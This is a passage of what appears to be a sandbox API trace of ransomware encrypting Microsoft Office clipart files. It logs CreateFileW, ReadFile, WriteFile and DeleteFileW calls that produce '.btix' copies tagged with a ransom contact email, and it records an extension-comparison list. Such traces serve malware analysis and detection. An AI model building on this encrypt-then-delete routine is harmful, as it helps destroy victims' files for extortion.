office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.890] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3332) returned 1 [0148.891] CloseHandle (hObject=0x37c) returned 1 [0148.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0148.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.891] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.891] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.891] GetLastError () returned 0x0 [0148.891] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xd04, lpOverlapped=0x0) returned 1 [0148.892] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xd10, lpOverlapped=0x0) returned 1 [0148.894] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.894] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.894] SetEndOfFile (hFile=0x380) returned 1 [0148.894] CloseHandle (hObject=0x380) returned 1 [0148.894] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.894] SetEndOfFile (hFile=0x37c) returned 1 [0148.895] CloseHandle (hObject=0x37c) returned 1 [0148.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0148.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.895] lstrlenW (lpString=".doc") returned 4 [0148.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.895] lstrlenW (lpString=".docx") returned 5 [0148.895] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.896] lstrlenW (lpString=".pdf") returned 4 [0148.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString=".xls") returned 4 [0148.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.896] lstrlenW (lpString=".xlsx") returned 5 [0148.896] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.896] lstrlenW (lpString=".ppt") returned 4 [0148.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.896] lstrlenW (lpString=".zip") returned 4 [0148.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.896] lstrlenW (lpString=".rar") returned 4 [0148.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString=".bz2") returned 4 [0148.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString=".7z") returned 3 [0148.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.896] lstrlenW (lpString=".dbf") returned 4 [0148.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.896] lstrlenW (lpString=".1cd") returned 4 [0148.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.896] lstrlenW (lpString=".jpg") returned 4 [0148.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString=".doc") returned 4 [0148.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString=".docx") returned 5 [0148.897] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.897] lstrlenW (lpString=".pdf") returned 4 [0148.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString=".xls") returned 4 [0148.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.897] lstrlenW (lpString=".xlsx") returned 5 [0148.897] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.897] lstrlenW (lpString=".ppt") returned 4 [0148.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString=".zip") returned 4 [0148.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.897] lstrlenW (lpString=".rar") returned 4 [0148.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString=".bz2") returned 4 [0148.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString=".7z") returned 3 [0148.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString=".dbf") returned 4 [0148.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString=".1cd") returned 4 [0148.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0148.897] lstrlenW (lpString=".jpg") returned 4 [0148.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.898] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.898] lstrlenW (lpString="J0090779.WMF") returned 12 [0148.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.898] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1456) returned 1 [0148.898] CloseHandle (hObject=0x37c) returned 1 [0148.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0148.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.898] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.898] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.899] GetLastError () returned 0x0 [0148.899] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0148.899] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0148.900] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.900] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.900] SetEndOfFile (hFile=0x380) returned 1 [0148.901] CloseHandle (hObject=0x380) returned 1 [0148.901] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.901] SetEndOfFile (hFile=0x37c) returned 1 [0148.901] CloseHandle (hObject=0x37c) returned 1 [0148.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0148.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.902] lstrlenW (lpString=".doc") returned 4 [0148.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.902] lstrlenW (lpString=".docx") returned 5 [0148.902] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.902] lstrlenW (lpString=".pdf") returned 4 [0148.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.902] lstrlenW (lpString=".xls") returned 4 [0148.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.902] lstrlenW (lpString=".xlsx") returned 5 [0148.902] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.902] lstrlenW (lpString=".ppt") returned 4 [0148.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.902] lstrlenW (lpString=".zip") returned 4 [0148.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.902] lstrlenW (lpString=".rar") returned 4 [0148.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.902] lstrlenW (lpString=".bz2") returned 4 [0148.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.902] lstrlenW (lpString=".7z") returned 3 [0148.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString=".dbf") returned 4 [0148.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString=".1cd") returned 4 [0148.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString=".jpg") returned 4 [0148.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString=".doc") returned 4 [0148.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString=".docx") returned 5 [0148.903] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.903] lstrlenW (lpString=".pdf") returned 4 [0148.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString=".xls") returned 4 [0148.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.903] lstrlenW (lpString=".xlsx") returned 5 [0148.903] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.903] lstrlenW (lpString=".ppt") returned 4 [0148.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.903] lstrlenW (lpString=".zip") returned 4 [0148.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.903] lstrlenW (lpString=".rar") returned 4 [0148.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString=".bz2") returned 4 [0148.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.903] lstrlenW (lpString=".7z") returned 3 [0148.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.904] lstrlenW (lpString=".dbf") returned 4 [0148.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.904] lstrlenW (lpString=".1cd") returned 4 [0148.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0148.904] lstrlenW (lpString=".jpg") returned 4 [0148.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.904] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.904] lstrlenW (lpString="J0090781.WMF") returned 12 [0148.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.904] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=5314) returned 1 [0148.904] CloseHandle (hObject=0x37c) returned 1 [0148.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0148.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.904] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.905] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.905] GetLastError () returned 0x0 [0148.905] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0148.906] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0148.907] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.907] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.907] SetEndOfFile (hFile=0x380) returned 1 [0148.907] CloseHandle (hObject=0x380) returned 1 [0148.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.907] SetEndOfFile (hFile=0x37c) returned 1 [0148.908] CloseHandle (hObject=0x37c) returned 1 [0148.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString=".doc") returned 4 [0148.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString=".docx") returned 5 [0148.909] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.909] lstrlenW (lpString=".pdf") returned 4 [0148.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString=".xls") returned 4 [0148.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.909] lstrlenW (lpString=".xlsx") returned 5 [0148.909] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.909] lstrlenW (lpString=".ppt") returned 4 [0148.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString=".zip") returned 4 [0148.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.909] lstrlenW (lpString=".rar") returned 4 [0148.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString=".bz2") returned 4 [0148.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString=".7z") returned 3 [0148.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString=".dbf") returned 4 [0148.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString=".1cd") returned 4 [0148.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString=".jpg") returned 4 [0148.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.910] lstrlenW (lpString=".doc") returned 4 [0148.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString=".docx") returned 5 [0148.910] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.910] lstrlenW (lpString=".pdf") returned 4 [0148.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString=".xls") returned 4 [0148.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.910] lstrlenW (lpString=".xlsx") returned 5 [0148.910] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.910] lstrlenW (lpString=".ppt") returned 4 [0148.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.910] lstrlenW (lpString=".zip") returned 4 [0148.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.910] lstrlenW (lpString=".rar") returned 4 [0148.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString=".bz2") returned 4 [0148.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString=".7z") returned 3 [0148.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.910] lstrlenW (lpString=".dbf") returned 4 [0148.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.910] lstrlenW (lpString=".1cd") returned 4 [0148.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0148.910] lstrlenW (lpString=".jpg") returned 4 [0148.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.911] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.911] lstrlenW (lpString="J0090783.WMF") returned 12 [0148.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.911] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=6934) returned 1 [0148.911] CloseHandle (hObject=0x37c) returned 1 [0148.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0148.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 